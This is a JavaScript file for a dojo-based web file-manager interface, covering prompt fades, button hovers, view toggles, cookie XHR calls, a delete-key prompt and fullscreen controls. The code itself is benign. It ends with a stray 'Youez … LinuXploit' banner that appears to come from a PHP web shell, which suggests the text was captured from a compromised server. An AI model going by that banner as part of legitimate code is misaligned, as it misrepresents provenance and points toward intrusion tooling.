function delayedPromptExecute(){
	if(funcExists("parseAll")){
		parseAll(mLoadingPane);
	}
	var ms = mLoadingPane.style;
	var bounds = _ViewportOffset(mLoadingPane);
	var contentBounds = dojo.coords(mWindowContent,true);
	promptHeight = bounds.h + promptMargin;
	var maxHeight = contentBounds.h;
	if (promptHeight> maxHeight){
		ms.height = (maxHeight-promptMargin-17) +"px";
		promptHeight = maxHeight;
	}
	var windowBounds = _ViewportOffset(mWindow);
	windowBounds.t += 102;
	var left = (windowBounds.l + Math.round(promptMargin/2)-5) +"px";
	var top = (windowBounds.t + Math.round(promptMargin/2)) +"px";
	dojo._setOpacity(mLoadingPane,0);
	ms.left = left;
	ms.top = top;
	infoFlyOut(promptHeight);
}

function promptFadeIn(){
		dojo.fadeIn({node: mLoadingPane,duration:promptFadeDuration}).play();
		var cs = _S("mClosePrompt");
		var bounds = dojo.coords(mLoadingPane,true);
		var top = (bounds.t+bounds.h-1)+ "px";
		var left = bounds.l +"px";
		cs.left = left;
		cs.top = top;
		dojo.fadeIn({node: _("mClosePrompt"),duration:promptFadeDuration}).play();
		document.body.style.cursor = 'auto';
}

function promptFadeOut(){
		dojo.fadeOut({node: _("mClosePrompt"),duration:promptFadeDuration,onEnd:function(){_S("mClosePrompt").left = "-99999em";}}).play();
		
		dojo.fadeOut({node: mLoadingPane,duration:promptFadeDuration}).play();
		setTimeout(infoFlyIn,promptFadeDuration);
}



var fadeDarkenInProgress = 0;
function fadeDarken(isFadeIn){
	fadeDarkenInProgress++;
	var maxOpacity = 0.7;
	var opacityStart = isFadeIn?0:maxOpacity;
	var opacityEnd = isFadeIn?maxOpacity:0;
	mDarken.style.left ="auto";
	var end = isFadeIn?function(){fadeDarkenInProgress--;}:function(){fadeDarkenInProgress--; if(!fadeDarkenInProgress) mDarken.style.left="-9999em";}
	_fx.fadeOpacity(mDarken, 600, opacityStart, opacityEnd, end);
}

function execFunc(funcName,node){
	if(funcName){
		window[funcName](node);
		return true;
	}
	return false;
}

var mainButtons = new Array();

function parseButtonNames(){
	var allButtons = dojo.query(".buttonBox",_("mWindowButton"));
	for(var t=0, l=allButtons.length ;t<l ;t++){
		var name = allButtons[t].getAttribute("name");
		if(name){
			mainButtons[name] = allButtons[t]; 
		}
	}
}



function parseButtons(){
	var root = _("mWindowButton");
	var images = root.getElementsByTagName("img");
	var spans = root.getElementsByTagName("span");
	
	var activeNode = undefined;
	
	for(var t=0, l = images.length; t<l; t++){
		var a = images[t].parentNode;
		if( dojo.hasClass(a,"active") || a.id=="active") {
			activeNode = images[t].parentNode;
			continue;
		}
		if( dojo.hasClass(a,"disabled") || a.id =="disabled"){
			images[t].onmouseover = function(){return false;};
			images[t].onmouseout = function(){return false;};
			continue;
		}
		images[t].onmouseover = function(){buttonBackUp(this.parentNode);};
		images[t].onmouseout = function(){buttonBackDownDelayed(this.parentNode);};
	}
			
		if (activeNode){
			activeNode.onclick = function(){ return false;}
		}	
	
	for(var t=0, l = spans.length ; t<l ; t++){
		var a = spans[t].parentNode;
		if(dojo.hasClass(a,"active") || a.id=="active") continue;
		if(dojo.hasClass(a,"disabled") || a.id =="disabled") {
			spans[t].onmouseover = function(){return false;};
			spans[t].onmouseout = function(){return false;};
			continue;
		}
		
		
		spans[t].onmouseover = function(){buttonBackUp(this.parentNode);};
		spans[t].onmouseout = function(){buttonBackDownDelayed(this.parentNode);};
		
	}
}

var mListingDropDown = undefined;
function openSelectDropDown(node){
	cancelDDSelect = true;
	// document.body.focus();
	
	if(mListingDropDown==undefined){
		mListingDropDown = node;
	}
	
	if(node.id!="active"){
		node.id ="active";
		boxOrList.style.display = "block";
	}else{
		node.id ="";
		boxOrList.style.display = "none";
	}
}


function selectDropDownToggle(){
	// document.body.focus();
	var dropDown = mListingDropDown;
	var filesView = 1;
	if(dropDown.className=="mListingDropDown"){
		dropDown.className="mListingDropDown2";
		boxOrList.className="mListingSelectBox2";
		filesView=2;
		_S("toggleImageViewOverlay").left = "-9999em";
		toggleSelectHeading(0);
	}else{
		dropDown.className="mListingDropDown";
		boxOrList.className="mListingSelectBox";
		_S("toggleImageViewOverlay").left = "0px";		
		toggleSelectHeading(1);
	}
	dropDown.id ="";
	boxOrList.style.display = "none";
	
	var url = _("filesFormNode").action+"&dir="+escape(_("currentDir").value)+"&filesview="+filesView;
	_LoadTo(url,'splitInnerRight',function(){parseAll(_('splitInnerRight'));});
	
}


function toggleSelectHeading(is){
	if(! _("mSelectHeadingInnerFolders")) return;
	var state = is || 0;
	
	if(state){
			dojo.style("mSelectHeadingInnerFolders",{display:"none"});	
	}else{
			dojo.style("mSelectHeadingInnerFolders",{display:"block"});				
	}
}

dojo.addOnLoad(function(){
	 var fade = (filesViewState == 2) ? 0 : 1;
	 toggleSelectHeading(fade, 0);
	 mLoader.add("Select Heading init");
});




var toolTipState = 2;
function toggleTip(node){
	if (node.id=="off"){
		node.id="";
		xhrCookie(null, "tooltip", 2);
		
		
		toolTipState = 2;
	}else{
		node.id = "off";
		xhrCookie(null, "tooltip", 1);
		
		toolTipState = 1;
		mInfoTipContent.style.height= "auto";
		mInfoTipShadow.style.display="none";
		mInfoTipArrow.style.left ="-9999em";
		mInfoTipWrap.style.left ="-9999em";
	}
}

function xhrCookie(isGet,name,value){
	
	var url = mainRootUri+"view=xhrcookie&name=" +name + "&value="+value + ( (isGet)?"&isget=1" :"");
	
	var lcb = dojo.hitch(this,function(response,ioArgs){

		return response;
	});
		
	return dojo.xhrGet({
	    url: url,
	    load: lcb,
	    error: function(){return false;}
	});	
	
}


function parseTabs(){
  
  	var root = _("mWindowTabInner");
	var links = root.getElementsByTagName("a");
	
	for(t=0; t<links.length; t++){
		links[t].onmouseover = function(){tabMouseOver(this);};
		links[t].onmouseout = function(){tabMouseOut(this);};
		links[t].onclick = function(){window.location.href = this.href;};
	}
}

function removeError(text){
	return text.replace("_fmError","");
}


function switchSelecting(isSelect){
	if(isSelect){
		// Allow IE from selecting text
		document.onselectstart = function () { return true; }; 
	}else{
		// Prevent IE from selecting text
		document.onselectstart = function () { return false; }; 
	}
}
// Standard (switch off) if files are shown, otherwise switch it off on load
switchSelecting();


function generalParsing(){
	parseTabs();
	parseButtons();
	parseButtonNames();
	if(typeof parseAll != "undefined") parseAll(mWindow,true);
	if(typeof evalButtons != "undefined") evalButtons();
}

var pressedKey = null;
var allowKeyRemove = true;
var editingFocus = false;


function generalKeyDown(evt){
	if(typeof noGeneralKeyDown !== "undefined") return;
	var keyCode = evt.keyCode;
	pressedKey = keyCode;
	
	if(keyCode==46 && allowKeyRemove &&  ! editingFocus) {
		askRemove();
		return false;
	}
	

//	console.log("KeyPressed:"+pressedKey);
	
	return true;
}

function generalKeyUp(evt){
	pressedKey = undefined;
	return true;	
}
dojo.addOnLoad(function(){
	dojo.connect(document,"onkeydown",generalKeyDown);
	dojo.connect(document,"onkeyup",generalKeyUp);	

	mLoader.add("General Key Events added");
});

function mToggleFolders(icon){
	var state = parseInt(icon.getAttribute("state"));
	var newState = state ? 0 : 1;
	if(newState == 1){
		_("mToggleFoldersStyle").innerHTML = "";
		icon.style.backgroundPosition = "0px 0px";
	}else{
		_("mToggleFoldersStyle").innerHTML = ".mSelectFolder{display:none;}";
		icon.style.backgroundPosition = "0px -48px";
	}
	icon.setAttribute("state",newState);
	xhrCookie(null, "mtogglefolders", newState);
	
}

function mToggleImageView(icon){
	var state = parseInt(icon.getAttribute("state"));
	var newState = state ? 0 : 1;
	if(newState == 1){
		
		icon.style.backgroundPosition = "0px 0px";
	}else{
		
		icon.style.backgroundPosition = "0px -48px";
	}
	icon.setAttribute("state",newState);

	var refreshUrl = mainRootUri + "view=xhrfiles&dir="	+ _("currentDir").value + "&imageviewstate=" + newState;
	_LoadTo(refreshUrl, 'splitInnerRight', function() {
	parseAll(_("splitInnerRight"));
	});
			
	
}

function mSelectRootFolder(id){
	id = id || 0;
	var url = mainRootUri + "selectMyFolder=" + id;
	window.location.href = url;
}

function requestFullScreen(elem, caller){
	if (elem.requestFullscreen) {
	  elem.requestFullscreen();
	} else if (elem.mozRequestFullScreen) {
	  elem.mozRequestFullScreen();
	} else if (elem.webkitRequestFullscreen) {
	  elem.webkitRequestFullscreen();
	}else if (elem.msRequestFullscreen) {
	  elem.msRequestFullscreen();
	}
	caller.style.display = "none";
	dojo.style("mCloseFullScreen",{display:"block"});
}

function closeFullscreen(caller){
		if (document.cancelFullScreen) {
			document.cancelFullScreen();
		} else if (document.mozCancelFullScreen) {
			document.mozCancelFullScreen();
		} else if (document.webkitCancelFullScreen) {
			document.webkitCancelFullScreen();
		} else if (document.msExitFullscreen) {
			document.msExitFullscreen();
		}
	caller.style.display = "none";
	dojo.style("mFullScreen",{display:"block"});
}



dojo.addOnLoad(function(){generalParsing(); mLoader.add("General parsing");});

dojo.addOnLoad(function(){setMWindowSize(); mLoader.add("Set window size"); });
window.onresize = setMWindowSize;

Youez - 2016 - github.com/yon3zu
LinuXploit